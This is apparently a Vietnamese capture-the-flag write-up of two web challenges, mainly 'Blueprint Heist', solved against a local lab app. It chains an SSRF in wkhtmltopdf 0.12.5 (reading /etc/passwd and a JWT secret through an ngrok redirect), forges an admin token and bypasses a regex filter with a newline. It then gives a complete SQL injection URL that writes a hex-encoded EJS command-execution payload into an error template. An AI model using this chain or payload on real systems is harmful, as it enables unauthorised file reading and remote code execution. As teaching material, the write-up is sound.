# Jailbreak (easy)

Bài này thì có lỗ hổng XXE trong thẻ `<Version>` tại phần update configuration file in the appropriate format (XML)

Exploit:

# Blueprint Heist (medium)
#### Skills Required
- Basic Knowledge of NodeJS
- Identification of Vulnerable Software
- Basic Knowledge of SQL
- Basic Knowledge of Graphql
#### Skills Learned
- Weak Regex Bypass
- Source Code Analysis
- File Write using SQL Injection
- EJS Code Execution
#### Goal: RCE
## Recon

Trang web cung cấp 2 element, mỗi khi click vào thì sẽ tải một report tương ứng dưới dạng pdf

Thử dùng burp suite để bắt lại xem request như thế nào:
```
POST /download?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTcxNjEwMTIxMn0.txaQmg0u7pee-_CaxRd_PSa0GKwBG2F4SAcabnv2twM HTTP/1.1
Host: localhost:1337
Content-Length: 64
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://localhost:1337
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:1337/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
url=http%3A%2F%2Flocalhost%3A1337%2Freport%2Fenviromental-impact
```

Tại phần response thì ta thấy được pdf được gen ra bới `wkhtmltopdf 0.12.5`.
Như cách thường làm khi thấy version của một ứng dụng bất kì thì ta sẽ thường search xem thử coi có CVE hay lổ hổng nào không.
Kết quả là có:

Tại version 0.12.5 có lỗ hổng SSRF cho phép ta đọc file bất kì của hệ thống
Và mình tìm được một poc khá hữu ích : https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/

poc này sử dụng redict(chuyển hướng) để khai thác
Đầu tiên chúng ta sẽ sử dụng ngrok để public port `8080` ra ngoài bằng cầu lệnh `ngrok tcp 8080`

Sau đó ta sẽ khởi tạo một server lắng nghe tại port 8080

Dùng burpsuite thử lại với tham số url thành đường dẫn ngrok kết hợp với payload đọc `/etc/passwd`

Kết quả ta đã leak được thành công `/etc/passwd`

## Phân tích source code
Đây là file index.js
<details>
<summary>index.js</summary>
```javascript
const express = require("express");
const bodyParser = require("body-parser");
const path = require("path");
const { renderError, generateError } = require("./controllers/errorController");
const publicRoutes = require("./routes/public")
const internalRoutes = require("./routes/internal")
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.set("view engine", "ejs");
app.use('/static', express.static(path.join(__dirname, 'static')));
app.use(internalRoutes)
app.use(publicRoutes)
app.use((res, req, next) => {
const err = generateError(404, "Not Found")
return next(err);
});
app.use((err, req, res, next) => {
renderError(err, req, res);
});
const port = 1337;
app.listen(port, '0.0.0.0', () => {
console.log(`Server is running on http://localhost:${port}`);
});
```
</details>
Nhìn vào thì ta có thể thấy được source bao gồm 2 routes chính là `publicRoutes` và `internalRoutes`
`publicRoutes` thì không có gì quá đặc biệt, cơ bản thì lúc đầu ta đã test hết chức năng của nó rồi. Vậy điều ta quan tâm là `internalRoutes`
<details>
<summary>internal.js</summary>
```javascript
const express = require("express");
const router = express.Router();
const { authMiddleware } = require("../controllers/authController")
const schema = require("../schemas/schema");
const pool = require("../utils/database")
const { createHandler } = require("graphql-http/lib/use/express");
router.get("/admin", authMiddleware("admin"), (req, res) => {
res.render("admin")
})
router.all("/graphql", authMiddleware("admin"), (req, res, next) => {
createHandler({ schema, context: { pool } })(req, res, next);
});
module.exports = router;
```
</details>
Ở internal route thì gồm 2 API:
- GET `/admin` return ra page admin
- `/graphql` (GET hoặc POST đều được): thực hiện truy vấn sql, trước khi truy vấn thì phải thông qua một lớp filter `authMiddleware` được gọi từ `/controllers/authController`
<details>
<summary>authController.js</summary>
```javascript
const jwt = require('jsonwebtoken');
const { generateError } = require('../controllers/errorController');
const { checkInternal } = require("../utils/security")
const dotenv = require('dotenv');
dotenv.config();
const secret = process.env.secret
function verifyToken(token) {
try {
const decoded = jwt.verify(token, secret);
return decoded.role;
} catch (error) {
return null
}
}
const authMiddleware = (requiredRole) => {
return (req, res, next) => {
const token = req.query.token;
if (!token) {
return next(generateError(401, "Access denied. Token is required."));
}
const role = verifyToken(token);
if (!role) {
return next(generateError(401, "Invalid or expired token."));
}
if (requiredRole === "admin" && role !== "admin") {
return next(generateError(401, "Unauthorized."));
} else if (requiredRole === "admin" && role === "admin") {
if (!checkInternal(req)) {
return next(generateError(403, "Only available for internal users!"));
}
}
next();
};
};
function generateGuestToken(req, res, next) {
const payload = {
role: 'user'
};
jwt.sign(payload, secret, (err, token) => {
if (err) {
next(generateError(500, "Failed to generate token."));;
} else {
res.send(token);
}
});
}
module.exports = {authMiddleware, generateGuestToken}
```
</details>
Từ file `authController.js` ở phía trên thì ta xác nhận được 2 điều
1. user role phải là "admin", secret để xác thực `verifyToken` ở tại `/app/.env` -> **Chúng ta thể leak được secret thông qua lổ hổng SSRF -> đọc file bất kì bằng `wkhtmltopdf v0.12.5`**
2. ip phải là localhost

**-> Điều này có nghĩa là ta cũng phải lợi dụng lổ hổng SSRF của `wkhtmltopdf v0.12.5` để bypass**
Nếu các bước trên thành công ta sẽ thực hiện được truy vấn graphql
<details>
<summary>schema.js</summary>
```javascript
const { GraphQLObjectType, GraphQLSchema, GraphQLString, GraphQLList } = require('graphql');
const UserType = require("../models/users")
const { detectSqli } = require("../utils/security")
const { generateError } = require('../controllers/errorController');
const RootQueryType = new GraphQLObjectType({
name: 'Query',
fields: {
getAllData: {
type: new GraphQLList(UserType),
resolve: async(parent, args, { pool }) => {
let data;
const connection = await pool.getConnection();
try {
data = await connection.query("SELECT * FROM users").then(rows => rows[0]);
} catch (error) {
generateError(500, error)
} finally {
connection.release()
}
return data;
}
},
getDataByName: {
type: new GraphQLList(UserType),
args: {
name: { type: GraphQLString }
},
resolve: async(parent, args, { pool }) => {
let data;
const connection = await pool.getConnection();
console.log(args.name)
if (detectSqli(args.name)) {
return generateError(400, "Username must only contain letters, numbers, and spaces.")
}
try {
data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`).then(rows => rows[0]);
} catch (error) {
return generateError(500, error)
} finally {
connection.release()
}
return data;
}
}
}
});
const schema = new GraphQLSchema({
query: RootQueryType
});
module.exports = schema;
```
</details>
Từ file `schema.js` phía trên chúng ta dễ dàng thấy được lổ hổng SQL injection xảy ra tại `getDataByName`, nhưng ở đây có một hàm `detectSqli` thông qua regex

Sử dụng trang regex101: https://regex101.com/ để phân tích

Để ý góc bên phải ghi rằng `matches any character (except for line terminators)`
Có nghĩa là khi xuống dòng khác thì nó sẽ không kiểm tra nữa, vậy thì chúng ta có thể bypass nó bằng kí tự `\n`

Và từ nãy giờ còn một điểm khá đáng ngờ mà ta chưa để cập đó chính là render template error
<details>
<summary>errorController.js</summary>
```javascript
const fs = require('fs');
const path = require('path');
function generateError(status, message) {
const err = new Error(message);
err.status = status;
return err;
};
const renderError = (err, req, res) => {
res.status(err.status);
const templateDir = __dirname + '/../views/errors';
const errorTemplate = (err.status >= 400 && err.status < 600) ? err.status : "error"
let templatePath = path.join(templateDir, `${errorTemplate}.ejs`);
if (!fs.existsSync(templatePath)) {
templatePath = path.join(templateDir, `error.ejs`);
}
console.log(templatePath)
res.render(templatePath, { error: err.message }, (renderErr, html) => {
res.send(html);
});
};
module.exports = { generateError, renderError }
```
</details>
Ở đây thì server sẽ kiểm tra xem status code của lỗi trả về là bao nhiêu, sau đó thực hiện render template lỗi dựa trên status code trả về, nếu không có template được tạo sẵn cho status code đó thì mặc định nó sẽ gọi `error.ejs`
Và đây là tất cả template được tạo sẵn

Ta có thể thấy nó thiếu vài status code không được render như 404,403


Vậy ở đây ta có thể lợi dụng được gì không?
Câu trả lời là có, nếu ta có thể ghi được file `404.ejs` hoặc `404.ejs` với nội dung tùy ý. Chúng ta có thể thực hiện RCE thông qua các file này.
Và ghi file thì chúc ta hoàn toàn có thể lợi dụng lổ hổng SQL injection để ghi một file tùy ý.
Từ đây attack chain sẽ như sau:
1. Leak secret thông qua SSRF, để tạo token giả mạo admin

Kết quả

Giả mạo token admin

2. Thực hiện SQLi để write file 404.ejs
payload: `http://127.0.0.1:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYxMDEyMTJ9.Txb6V1EKfq3zHUEpJVN1ohfVyEPA5uinhYKdEe-Wn_4%26query={getDataByName(name:"John\n'+union+select+null,0x3c253d2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328272f72656164666c6167272920253e,null,null+into+OUTFILE+'/app/views/errors/404.ejs'--+-"){name,department,isPresent}}`
Kết quả:

3. Truy cập một routes không tồn tại
4. Got code execution via SSTI

Done!!!